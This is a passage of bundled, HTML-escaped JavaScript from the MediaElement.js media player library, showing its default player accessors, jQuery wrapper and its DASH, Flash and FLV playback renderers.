		key: &#039;setVolume&#039;,
		value: function setVolume(volume) {
			this.media.setVolume(volume);
		}
	}, {
		key: &#039;getVolume&#039;,
		value: function getVolume() {
			return this.media.getVolume();
		}
	}, {
		key: &#039;setMuted&#039;,
		value: function setMuted(value) {
			this.media.setMuted(value);
		}
	}, {
		key: &#039;setSrc&#039;,
		value: function setSrc(src) {
			var t = this,
			    layer = document.getElementById(t.media.id + &#039;-iframe-overlay&#039;);

			if (layer) {
				layer.remove();
			}

			t.media.setSrc(src);
			t.createIframeLayer();
			if (t.media.renderer !== null &amp;&amp; typeof t.media.renderer.getPosterUrl === &#039;function&#039;) {
				t.setPoster(t.media.renderer.getPosterUrl());
			}
		}
	}, {
		key: &#039;getSrc&#039;,
		value: function getSrc() {
			return this.media.getSrc();
		}
	}, {
		key: &#039;canPlayType&#039;,
		value: function canPlayType(type) {
			return this.media.canPlayType(type);
		}
	}, {
		key: &#039;paused&#039;,
		get: function get() {
			return this.media.paused;
		}
	}, {
		key: &#039;muted&#039;,
		set: function set(muted) {
			this.setMuted(muted);
		},
		get: function get() {
			return this.media.muted;
		}
	}, {
		key: &#039;ended&#039;,
		get: function get() {
			return this.media.ended;
		}
	}, {
		key: &#039;readyState&#039;,
		get: function get() {
			return this.media.readyState;
		}
	}, {
		key: &#039;currentTime&#039;,
		set: function set(time) {
			this.setCurrentTime(time);
		},
		get: function get() {
			return this.getCurrentTime();
		}
	}, {
		key: &#039;duration&#039;,
		get: function get() {
			return this.getDuration();
		}
	}, {
		key: &#039;remainingTime&#039;,
		get: function get() {
			return this.getDuration() - this.currentTime();
		}
	}, {
		key: &#039;volume&#039;,
		set: function set(volume) {
			this.setVolume(volume);
		},
		get: function get() {
			return this.getVolume();
		}
	}, {
		key: &#039;src&#039;,
		set: function set(src) {
			this.setSrc(src);
		},
		get: function get() {
			return this.getSrc();
		}
	}]);

	return DefaultPlayer;
}();

exports.default = DefaultPlayer;


_window2.default.DefaultPlayer = DefaultPlayer;

},{&quot;3&quot;:3}],18:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _player = _dereq_(16);

var _player2 = _interopRequireDefault(_player);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

if (typeof jQuery !== &#039;undefined&#039;) {
	_mejs2.default.$ = jQuery;
} else if (typeof Zepto !== &#039;undefined&#039;) {
	_mejs2.default.$ = Zepto;
} else if (typeof ender !== &#039;undefined&#039;) {
	_mejs2.default.$ = ender;
}

(function ($) {
	if (typeof $ !== &#039;undefined&#039;) {
		$.fn.mediaelementplayer = function (options) {
			if (options === false) {
				this.each(function () {
					var player = $(this).data(&#039;mediaelementplayer&#039;);
					if (player) {
						player.remove();
					}
					$(this).removeData(&#039;mediaelementplayer&#039;);
				});
			} else {
				this.each(function () {
					$(this).data(&#039;mediaelementplayer&#039;, new _player2.default(this, options));
				});
			}
			return this;
		};

		$(document).ready(function () {
			$(&#039;.&#039; + _mejs2.default.MepDefaults.classPrefix + &#039;player&#039;).mediaelementplayer();
		});
	}
})(_mejs2.default.$);

},{&quot;16&quot;:16,&quot;3&quot;:3,&quot;7&quot;:7}],19:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _renderer = _dereq_(8);

var _general = _dereq_(27);

var _media = _dereq_(28);

var _constants = _dereq_(25);

var _dom = _dereq_(26);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var NativeDash = {

	promise: null,

	load: function load(settings) {
		if (typeof dashjs !== &#039;undefined&#039;) {
			NativeDash.promise = new Promise(function (resolve) {
				resolve();
			}).then(function () {
				NativeDash._createPlayer(settings);
			});
		} else {
			settings.options.path = typeof settings.options.path === &#039;string&#039; ? settings.options.path : &#039;https://cdn.dashjs.org/latest/dash.all.min.js&#039;;

			NativeDash.promise = NativeDash.promise || (0, _dom.loadScript)(settings.options.path);
			NativeDash.promise.then(function () {
				NativeDash._createPlayer(settings);
			});
		}

		return NativeDash.promise;
	},

	_createPlayer: function _createPlayer(settings) {
		var player = dashjs.MediaPlayer().create();
		_window2.default[&#039;__ready__&#039; + settings.id](player);
		return player;
	}
};

var DashNativeRenderer = {
	name: &#039;native_dash&#039;,
	options: {
		prefix: &#039;native_dash&#039;,
		dash: {
			path: &#039;https://cdn.dashjs.org/latest/dash.all.min.js&#039;,
			debug: false,
			drm: {},

			robustnessLevel: &#039;&#039;
		}
	},

	canPlayType: function canPlayType(type) {
		return _constants.HAS_MSE &amp;&amp; [&#039;application/dash+xml&#039;].indexOf(type.toLowerCase()) &gt; -1;
	},

	create: function create(mediaElement, options, mediaFiles) {

		var originalNode = mediaElement.originalNode,
		    id = mediaElement.id + &#039;_&#039; + options.prefix,
		    autoplay = originalNode.autoplay,
		    children = originalNode.children;

		var node = null,
		    dashPlayer = null;

		originalNode.removeAttribute(&#039;type&#039;);
		for (var i = 0, total = children.length; i &lt; total; i++) {
			children[i].removeAttribute(&#039;type&#039;);
		}

		node = originalNode.cloneNode(true);
		options = Object.assign(options, mediaElement.options);

		var props = _mejs2.default.html5media.properties,
		    events = _mejs2.default.html5media.events.concat([&#039;click&#039;, &#039;mouseover&#039;, &#039;mouseout&#039;]).filter(function (e) {
			return e !== &#039;error&#039;;
		}),
		    attachNativeEvents = function attachNativeEvents(e) {
			var event = (0, _general.createEvent)(e.type, mediaElement);
			mediaElement.dispatchEvent(event);
		},
		    assignGettersSetters = function assignGettersSetters(propName) {
			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			node[&#039;get&#039; + capName] = function () {
				return dashPlayer !== null ? node[propName] : null;
			};

			node[&#039;set&#039; + capName] = function (value) {
				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
					if (propName === &#039;src&#039;) {
						var source = (typeof value === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(value)) === &#039;object&#039; &amp;&amp; value.src ? value.src : value;
						node[propName] = source;
						if (dashPlayer !== null) {
							dashPlayer.reset();
							for (var _i = 0, _total = events.length; _i &lt; _total; _i++) {
								node.removeEventListener(events[_i], attachNativeEvents);
							}
							dashPlayer = NativeDash._createPlayer({
								options: options.dash,
								id: id
							});

							if (value &amp;&amp; (typeof value === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(value)) === &#039;object&#039; &amp;&amp; _typeof(value.drm) === &#039;object&#039;) {
								dashPlayer.setProtectionData(value.drm);
								if ((0, _general.isString)(options.dash.robustnessLevel) &amp;&amp; options.dash.robustnessLevel) {
									dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel);
								}
							}
							dashPlayer.attachSource(source);
							if (autoplay) {
								dashPlayer.play();
							}
						}
					} else {
						node[propName] = value;
					}
				}
			};
		};

		for (var _i2 = 0, _total2 = props.length; _i2 &lt; _total2; _i2++) {
			assignGettersSetters(props[_i2]);
		}

		_window2.default[&#039;__ready__&#039; + id] = function (_dashPlayer) {
			mediaElement.dashPlayer = dashPlayer = _dashPlayer;

			var dashEvents = dashjs.MediaPlayer.events,
			    assignEvents = function assignEvents(eventName) {
				if (eventName === &#039;loadedmetadata&#039;) {
					dashPlayer.initialize();
					dashPlayer.attachView(node);
					dashPlayer.setAutoPlay(false);

					if (_typeof(options.dash.drm) === &#039;object&#039; &amp;&amp; !_mejs2.default.Utils.isObjectEmpty(options.dash.drm)) {
						dashPlayer.setProtectionData(options.dash.drm);
						if ((0, _general.isString)(options.dash.robustnessLevel) &amp;&amp; options.dash.robustnessLevel) {
							dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel);
						}
					}
					dashPlayer.attachSource(node.getSrc());
				}

				node.addEventListener(eventName, attachNativeEvents);
			};

			for (var _i3 = 0, _total3 = events.length; _i3 &lt; _total3; _i3++) {
				assignEvents(events[_i3]);
			}

			var assignMdashEvents = function assignMdashEvents(e) {
				if (e.type.toLowerCase() === &#039;error&#039;) {
					mediaElement.generateError(e.message, node.src);
					console.error(e);
				} else {
					var _event = (0, _general.createEvent)(e.type, mediaElement);
					_event.data = e;
					mediaElement.dispatchEvent(_event);
				}
			};

			for (var eventType in dashEvents) {
				if (dashEvents.hasOwnProperty(eventType)) {
					dashPlayer.on(dashEvents[eventType], function (e) {
						return assignMdashEvents(e);
					});
				}
			}
		};

		if (mediaFiles &amp;&amp; mediaFiles.length &gt; 0) {
			for (var _i4 = 0, _total4 = mediaFiles.length; _i4 &lt; _total4; _i4++) {
				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) {
					node.setAttribute(&#039;src&#039;, mediaFiles[_i4].src);
					if (typeof mediaFiles[_i4].drm !== &#039;undefined&#039;) {
						options.dash.drm = mediaFiles[_i4].drm;
					}
					break;
				}
			}
		}

		node.setAttribute(&#039;id&#039;, id);

		originalNode.parentNode.insertBefore(node, originalNode);
		originalNode.autoplay = false;
		originalNode.style.display = &#039;none&#039;;

		node.setSize = function (width, height) {
			node.style.width = width + &#039;px&#039;;
			node.style.height = height + &#039;px&#039;;
			return node;
		};

		node.hide = function () {
			node.pause();
			node.style.display = &#039;none&#039;;
			return node;
		};

		node.show = function () {
			node.style.display = &#039;&#039;;
			return node;
		};

		node.destroy = function () {
			if (dashPlayer !== null) {
				dashPlayer.reset();
			}
		};

		var event = (0, _general.createEvent)(&#039;rendererready&#039;, node);
		mediaElement.dispatchEvent(event);

		mediaElement.promises.push(NativeDash.load({
			options: options.dash,
			id: id
		}));

		return node;
	}
};

_media.typeChecks.push(function (url) {
	return ~url.toLowerCase().indexOf(&#039;.mpd&#039;) ? &#039;application/dash+xml&#039; : null;
});

_renderer.renderer.add(DashNativeRenderer);

},{&quot;25&quot;:25,&quot;26&quot;:26,&quot;27&quot;:27,&quot;28&quot;:28,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],20:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.PluginDetector = undefined;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _i18n = _dereq_(5);

var _i18n2 = _interopRequireDefault(_i18n);

var _renderer = _dereq_(8);

var _general = _dereq_(27);

var _constants = _dereq_(25);

var _media = _dereq_(28);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var PluginDetector = exports.PluginDetector = {
	plugins: [],

	hasPluginVersion: function hasPluginVersion(plugin, v) {
		var pv = PluginDetector.plugins[plugin];
		v[1] = v[1] || 0;
		v[2] = v[2] || 0;
		return pv[0] &gt; v[0] || pv[0] === v[0] &amp;&amp; pv[1] &gt; v[1] || pv[0] === v[0] &amp;&amp; pv[1] === v[1] &amp;&amp; pv[2] &gt;= v[2];
	},

	addPlugin: function addPlugin(p, pluginName, mimeType, activeX, axDetect) {
		PluginDetector.plugins[p] = PluginDetector.detectPlugin(pluginName, mimeType, activeX, axDetect);
	},

	detectPlugin: function detectPlugin(pluginName, mimeType, activeX, axDetect) {

		var version = [0, 0, 0],
		    description = void 0,
		    ax = void 0;

		if (_constants.NAV.plugins !== null &amp;&amp; _constants.NAV.plugins !== undefined &amp;&amp; _typeof(_constants.NAV.plugins[pluginName]) === &#039;object&#039;) {
			description = _constants.NAV.plugins[pluginName].description;
			if (description &amp;&amp; !(typeof _constants.NAV.mimeTypes !== &#039;undefined&#039; &amp;&amp; _constants.NAV.mimeTypes[mimeType] &amp;&amp; !_constants.NAV.mimeTypes[mimeType].enabledPlugin)) {
				version = description.replace(pluginName, &#039;&#039;).replace(/^\s+/, &#039;&#039;).replace(/\sr/gi, &#039;.&#039;).split(&#039;.&#039;);
				for (var i = 0, total = version.length; i &lt; total; i++) {
					version[i] = parseInt(version[i].match(/\d+/), 10);
				}
			}
		} else if (_window2.default.ActiveXObject !== undefined) {
			try {
				ax = new ActiveXObject(activeX);
				if (ax) {
					version = axDetect(ax);
				}
			} catch (e) {
				
			}
		}
		return version;
	}
};

PluginDetector.addPlugin(&#039;flash&#039;, &#039;Shockwave Flash&#039;, &#039;application/x-shockwave-flash&#039;, &#039;ShockwaveFlash.ShockwaveFlash&#039;, function (ax) {
	var version = [],
	    d = ax.GetVariable(&quot;$version&quot;);

	if (d) {
		d = d.split(&quot; &quot;)[1].split(&quot;,&quot;);
		version = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)];
	}
	return version;
});

var FlashMediaElementRenderer = {
	create: function create(mediaElement, options, mediaFiles) {

		var flash = {};
		var isActive = false;

		flash.options = options;
		flash.id = mediaElement.id + &#039;_&#039; + flash.options.prefix;
		flash.mediaElement = mediaElement;
		flash.flashState = {};
		flash.flashApi = null;
		flash.flashApiStack = [];

		var props = _mejs2.default.html5media.properties,
		    assignGettersSetters = function assignGettersSetters(propName) {
			flash.flashState[propName] = null;

			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			flash[&#039;get&#039; + capName] = function () {
				if (flash.flashApi !== null) {
					if (typeof flash.flashApi[&#039;get_&#039; + propName] === &#039;function&#039;) {
						var value = flash.flashApi[&#039;get_&#039; + propName]();

						if (propName === &#039;buffered&#039;) {
							return {
								start: function start() {
									return 0;
								},
								end: function end() {
									return value;
								},
								length: 1
							};
						}
						return value;
					} else {
						return null;
					}
				} else {
					return null;
				}
			};

			flash[&#039;set&#039; + capName] = function (value) {
				if (propName === &#039;src&#039;) {
					value = (0, _media.absolutizeUrl)(value);
				}

				if (flash.flashApi !== null &amp;&amp; flash.flashApi[&#039;set_&#039; + propName] !== undefined) {
					try {
						flash.flashApi[&#039;set_&#039; + propName](value);
					} catch (e) {
						
					}
				} else {
					flash.flashApiStack.push({
						type: &#039;set&#039;,
						propName: propName,
						value: value
					});
				}
			};
		};

		for (var i = 0, total = props.length; i &lt; total; i++) {
			assignGettersSetters(props[i]);
		}

		var methods = _mejs2.default.html5media.methods,
		    assignMethods = function assignMethods(methodName) {
			flash[methodName] = function () {
				if (isActive) {
					if (flash.flashApi !== null) {
						if (flash.flashApi[&#039;fire_&#039; + methodName]) {
							try {
								flash.flashApi[&#039;fire_&#039; + methodName]();
							} catch (e) {
								
							}
						} else {
							
						}
					} else {
						flash.flashApiStack.push({
							type: &#039;call&#039;,
							methodName: methodName
						});
					}
				}
			};
		};
		methods.push(&#039;stop&#039;);
		for (var _i = 0, _total = methods.length; _i &lt; _total; _i++) {
			assignMethods(methods[_i]);
		}

		var initEvents = [&#039;rendererready&#039;];

		for (var _i2 = 0, _total2 = initEvents.length; _i2 &lt; _total2; _i2++) {
			var event = (0, _general.createEvent)(initEvents[_i2], flash);
			mediaElement.dispatchEvent(event);
		}

		_window2.default[&#039;__ready__&#039; + flash.id] = function () {

			flash.flashReady = true;
			flash.flashApi = _document2.default.getElementById(&#039;__&#039; + flash.id);

			if (flash.flashApiStack.length) {
				for (var _i3 = 0, _total3 = flash.flashApiStack.length; _i3 &lt; _total3; _i3++) {
					var stackItem = flash.flashApiStack[_i3];

					if (stackItem.type === &#039;set&#039;) {
						var propName = stackItem.propName,
						    capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

						flash[&#039;set&#039; + capName](stackItem.value);
					} else if (stackItem.type === &#039;call&#039;) {
						flash[stackItem.methodName]();
					}
				}
			}
		};

		_window2.default[&#039;__event__&#039; + flash.id] = function (eventName, message) {
			var event = (0, _general.createEvent)(eventName, flash);
			if (message) {
				try {
					event.data = JSON.parse(message);
					event.details.data = JSON.parse(message);
				} catch (e) {
					event.message = message;
				}
			}

			flash.mediaElement.dispatchEvent(event);
		};

		flash.flashWrapper = _document2.default.createElement(&#039;div&#039;);

		if ([&#039;always&#039;, &#039;sameDomain&#039;].indexOf(flash.options.shimScriptAccess) === -1) {
			flash.options.shimScriptAccess = &#039;sameDomain&#039;;
		}

		var autoplay = mediaElement.originalNode.autoplay,
		    flashVars = [&#039;uid=&#039; + flash.id, &#039;autoplay=&#039; + autoplay, &#039;allowScriptAccess=&#039; + flash.options.shimScriptAccess, &#039;preload=&#039; + (mediaElement.originalNode.getAttribute(&#039;preload&#039;) || &#039;&#039;)],
		    isVideo = mediaElement.originalNode !== null &amp;&amp; mediaElement.originalNode.tagName.toLowerCase() === &#039;video&#039;,
		    flashHeight = isVideo ? mediaElement.originalNode.height : 1,
		    flashWidth = isVideo ? mediaElement.originalNode.width : 1;

		if (mediaElement.originalNode.getAttribute(&#039;src&#039;)) {
			flashVars.push(&#039;src=&#039; + mediaElement.originalNode.getAttribute(&#039;src&#039;));
		}

		if (flash.options.enablePseudoStreaming === true) {
			flashVars.push(&#039;pseudostreamstart=&#039; + flash.options.pseudoStreamingStartQueryParam);
			flashVars.push(&#039;pseudostreamtype=&#039; + flash.options.pseudoStreamingType);
		}

		if (flash.options.streamDelimiter) {
			flashVars.push(&#039;streamdelimiter=&#039; + encodeURIComponent(flash.options.streamDelimiter));
		}

		if (flash.options.proxyType) {
			flashVars.push(&#039;proxytype=&#039; + flash.options.proxyType);
		}

		mediaElement.appendChild(flash.flashWrapper);
		mediaElement.originalNode.style.display = &#039;none&#039;;

		var settings = [];

		if (_constants.IS_IE || _constants.IS_EDGE) {
			var specialIEContainer = _document2.default.createElement(&#039;div&#039;);
			flash.flashWrapper.appendChild(specialIEContainer);

			if (_constants.IS_EDGE) {
				settings = [&#039;type=&quot;application/x-shockwave-flash&quot;&#039;, &#039;data=&quot;&#039; + flash.options.pluginPath + flash.options.filename + &#039;&quot;&#039;, &#039;id=&quot;__&#039; + flash.id + &#039;&quot;&#039;, &#039;width=&quot;&#039; + flashWidth + &#039;&quot;&#039;, &#039;height=&quot;&#039; + flashHeight + &#039;\&#039;&quot;&#039;];
			} else {
				settings = [&#039;classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot;&#039;, &#039;codebase=&quot;//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab&quot;&#039;, &#039;id=&quot;__&#039; + flash.id + &#039;&quot;&#039;, &#039;width=&quot;&#039; + flashWidth + &#039;&quot;&#039;, &#039;height=&quot;&#039; + flashHeight + &#039;&quot;&#039;];
			}

			if (!isVideo) {
				settings.push(&#039;style=&quot;clip: rect(0 0 0 0); position: absolute;&quot;&#039;);
			}

			specialIEContainer.outerHTML = &#039;&lt;object &#039; + settings.join(&#039; &#039;) + &#039;&gt;&#039; + (&#039;&lt;param name=&quot;movie&quot; value=&quot;&#039; + flash.options.pluginPath + flash.options.filename + &#039;?x=&#039; + new Date() + &#039;&quot; /&gt;&#039;) + (&#039;&lt;param name=&quot;flashvars&quot; value=&quot;&#039; + flashVars.join(&#039;&amp;amp;&#039;) + &#039;&quot; /&gt;&#039;) + &#039;&lt;param name=&quot;quality&quot; value=&quot;high&quot; /&gt;&#039; + &#039;&lt;param name=&quot;bgcolor&quot; value=&quot;#000000&quot; /&gt;&#039; + &#039;&lt;param name=&quot;wmode&quot; value=&quot;transparent&quot; /&gt;&#039; + (&#039;&lt;param name=&quot;allowScriptAccess&quot; value=&quot;&#039; + flash.options.shimScriptAccess + &#039;&quot; /&gt;&#039;) + &#039;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot; /&gt;&#039; + (&#039;&lt;div&gt;&#039; + _i18n2.default.t(&#039;mejs.install-flash&#039;) + &#039;&lt;/div&gt;&#039;) + &#039;&lt;/object&gt;&#039;;
		} else {

			settings = [&#039;id=&quot;__&#039; + flash.id + &#039;&quot;&#039;, &#039;name=&quot;__&#039; + flash.id + &#039;&quot;&#039;, &#039;play=&quot;true&quot;&#039;, &#039;loop=&quot;false&quot;&#039;, &#039;quality=&quot;high&quot;&#039;, &#039;bgcolor=&quot;#000000&quot;&#039;, &#039;wmode=&quot;transparent&quot;&#039;, &#039;allowScriptAccess=&quot;&#039; + flash.options.shimScriptAccess + &#039;&quot;&#039;, &#039;allowFullScreen=&quot;true&quot;&#039;, &#039;type=&quot;application/x-shockwave-flash&quot;&#039;, &#039;pluginspage=&quot;//www.macromedia.com/go/getflashplayer&quot;&#039;, &#039;src=&quot;&#039; + flash.options.pluginPath + flash.options.filename + &#039;&quot;&#039;, &#039;flashvars=&quot;&#039; + flashVars.join(&#039;&amp;&#039;) + &#039;&quot;&#039;];

			if (isVideo) {
				settings.push(&#039;width=&quot;&#039; + flashWidth + &#039;&quot;&#039;);
				settings.push(&#039;height=&quot;&#039; + flashHeight + &#039;&quot;&#039;);
			} else {
				settings.push(&#039;style=&quot;position: fixed; left: -9999em; top: -9999em;&quot;&#039;);
			}

			flash.flashWrapper.innerHTML = &#039;&lt;embed &#039; + settings.join(&#039; &#039;) + &#039;&gt;&#039;;
		}

		flash.flashNode = flash.flashWrapper.lastChild;

		flash.hide = function () {
			isActive = false;
			if (isVideo) {
				flash.flashNode.style.display = &#039;none&#039;;
			}
		};
		flash.show = function () {
			isActive = true;
			if (isVideo) {
				flash.flashNode.style.display = &#039;&#039;;
			}
		};
		flash.setSize = function (width, height) {
			flash.flashNode.style.width = width + &#039;px&#039;;
			flash.flashNode.style.height = height + &#039;px&#039;;

			if (flash.flashApi !== null &amp;&amp; typeof flash.flashApi.fire_setSize === &#039;function&#039;) {
				flash.flashApi.fire_setSize(width, height);
			}
		};

		flash.destroy = function () {
			flash.flashNode.remove();
		};

		if (mediaFiles &amp;&amp; mediaFiles.length &gt; 0) {
			for (var _i4 = 0, _total4 = mediaFiles.length; _i4 &lt; _total4; _i4++) {
				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) {
					flash.setSrc(mediaFiles[_i4].src);
					break;
				}
			}
		}

		return flash;
	}
};

var hasFlash = PluginDetector.hasPluginVersion(&#039;flash&#039;, [10, 0, 0]);

if (hasFlash) {
	_media.typeChecks.push(function (url) {
		url = url.toLowerCase();

		if (url.startsWith(&#039;rtmp&#039;)) {
			if (~url.indexOf(&#039;.mp3&#039;)) {
				return &#039;audio/rtmp&#039;;
			} else {
				return &#039;video/rtmp&#039;;
			}
		} else if (/\.og(a|g)/i.test(url)) {
			return &#039;audio/ogg&#039;;
		} else if (~url.indexOf(&#039;.m3u8&#039;)) {
			return &#039;application/x-mpegURL&#039;;
		} else if (~url.indexOf(&#039;.mpd&#039;)) {
			return &#039;application/dash+xml&#039;;
		} else if (~url.indexOf(&#039;.flv&#039;)) {
			return &#039;video/flv&#039;;
		} else {
			return null;
		}
	});

	var FlashMediaElementVideoRenderer = {
		name: &#039;flash_video&#039;,
		options: {
			prefix: &#039;flash_video&#039;,
			filename: &#039;mediaelement-flash-video.swf&#039;,
			enablePseudoStreaming: false,

			pseudoStreamingStartQueryParam: &#039;start&#039;,

			pseudoStreamingType: &#039;byte&#039;,

			proxyType: &#039;&#039;,

			streamDelimiter: &#039;&#039;
		},

		canPlayType: function canPlayType(type) {
			return ~[&#039;video/mp4&#039;, &#039;video/rtmp&#039;, &#039;audio/rtmp&#039;, &#039;rtmp/mp4&#039;, &#039;audio/mp4&#039;, &#039;video/flv&#039;, &#039;video/x-flv&#039;].indexOf(type.toLowerCase());
		},

		create: FlashMediaElementRenderer.create

	};
	_renderer.renderer.add(FlashMediaElementVideoRenderer);

	var FlashMediaElementHlsVideoRenderer = {
		name: &#039;flash_hls&#039;,
		options: {
			prefix: &#039;flash_hls&#039;,
			filename: &#039;mediaelement-flash-video-hls.swf&#039;
		},

		canPlayType: function canPlayType(type) {
			return ~[&#039;application/x-mpegurl&#039;, &#039;application/vnd.apple.mpegurl&#039;, &#039;audio/mpegurl&#039;, &#039;audio/hls&#039;, &#039;video/hls&#039;].indexOf(type.toLowerCase());
		},

		create: FlashMediaElementRenderer.create
	};
	_renderer.renderer.add(FlashMediaElementHlsVideoRenderer);

	var FlashMediaElementMdashVideoRenderer = {
		name: &#039;flash_dash&#039;,
		options: {
			prefix: &#039;flash_dash&#039;,
			filename: &#039;mediaelement-flash-video-mdash.swf&#039;
		},

		canPlayType: function canPlayType(type) {
			return ~[&#039;application/dash+xml&#039;].indexOf(type.toLowerCase());
		},

		create: FlashMediaElementRenderer.create
	};
	_renderer.renderer.add(FlashMediaElementMdashVideoRenderer);

	var FlashMediaElementAudioRenderer = {
		name: &#039;flash_audio&#039;,
		options: {
			prefix: &#039;flash_audio&#039;,
			filename: &#039;mediaelement-flash-audio.swf&#039;
		},

		canPlayType: function canPlayType(type) {
			return ~[&#039;audio/mp3&#039;].indexOf(type.toLowerCase());
		},

		create: FlashMediaElementRenderer.create
	};
	_renderer.renderer.add(FlashMediaElementAudioRenderer);

	var FlashMediaElementAudioOggRenderer = {
		name: &#039;flash_audio_ogg&#039;,
		options: {
			prefix: &#039;flash_audio_ogg&#039;,
			filename: &#039;mediaelement-flash-audio-ogg.swf&#039;
		},

		canPlayType: function canPlayType(type) {
			return ~[&#039;audio/ogg&#039;, &#039;audio/oga&#039;, &#039;audio/ogv&#039;].indexOf(type.toLowerCase());
		},

		create: FlashMediaElementRenderer.create
	};
	_renderer.renderer.add(FlashMediaElementAudioOggRenderer);
}

},{&quot;2&quot;:2,&quot;25&quot;:25,&quot;27&quot;:27,&quot;28&quot;:28,&quot;3&quot;:3,&quot;5&quot;:5,&quot;7&quot;:7,&quot;8&quot;:8}],21:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _renderer = _dereq_(8);

var _general = _dereq_(27);

var _constants = _dereq_(25);

var _media = _dereq_(28);

var _dom = _dereq_(26);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var NativeFlv = {

	promise: null,

	load: function load(settings) {
		if (typeof flvjs !== &#039;undefined&#039;) {
			NativeFlv.promise = new Promise(function (resolve) {
				resolve();
			}).then(function () {
				NativeFlv._createPlayer(settings);
			});
		} else {
			settings.options.path = typeof settings.options.path === &#039;string&#039; ? settings.options.path : &#039;https://cdn.jsdelivr.net/npm/flv.js@latest&#039;;

			NativeFlv.promise = NativeFlv.promise || (0, _dom.loadScript)(settings.options.path);
			NativeFlv.promise.then(function () {
				NativeFlv._createPlayer(settings);
			});
		}

		return NativeFlv.promise;
	},

	_createPlayer: function _createPlayer(settings) {
		flvjs.LoggingControl.enableDebug = settings.options.debug;
		flvjs.LoggingControl.enableVerbose = settings.options.debug;
		var player = flvjs.createPlayer(settings.options, settings.configs);
		_window2.default[&#039;__ready__&#039; + settings.id](player);
		return player;
	}
};

var FlvNativeRenderer = {
	name: &#039;native_flv&#039;,
	options: {
		prefix: &#039;native_flv&#039;,
		flv: {
			path: &#039;https://cdn.jsdelivr.net/npm/flv.js@latest&#039;,

			cors: true,
			debug: false
		}
	},

	canPlayType: function canPlayType(type) {
		return _constants.HAS_MSE &amp;&amp; [&#039;video/x-flv&#039;, &#039;video/flv&#039;].indexOf(type.toLowerCase()) &gt; -1;
	},

	create: function create(mediaElement, options, mediaFiles) {

		var originalNode = mediaElement.originalNode,
		    id = mediaElement.id + &#039;_&#039; + options.prefix;

		var node = null,
		    flvPlayer = null;

		node = originalNode.cloneNode(true);
		options = Object.assign(options, mediaElement.options);

		var props = _mejs2.default.html5media.properties,
		    events = _mejs2.default.html5media.events.concat([&#039;click&#039;, &#039;mouseover&#039;, &#039;mouseout&#039;]).filter(function (e) {
			return e !== &#039;error&#039;;
		}),
		    attachNativeEvents = function attachNativeEvents(e) {
			var event = (0, _general.createEvent)(e.type, mediaElement);
			mediaElement.dispatchEvent(event);
		},
		    assignGettersSetters = function assignGettersSetters(propName) {
			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			node[&#039;get&#039; + capName] = function () {
				return flvPlayer !== null ? node[propName] : null;
			};

			node[&#039;set&#039; + capName] = function (value) {
				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
					if (propName === &#039;src&#039;) {
						node[propName] = (typeof value === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(value)) === &#039;object&#039; &amp;&amp; value.src ? value.src : value;
						if (flvPlayer !== null) {
							var _flvOptions = {};
							_flvOptions.type = &#039;flv&#039;;
							_flvOptions.url = value;
							_flvOptions.cors = options.flv.cors;
							_flvOptions.debug = options.flv.debug;
							_flvOptions.path = options.flv.path;
							var _flvConfigs = options.flv.configs;

							flvPlayer.destroy();
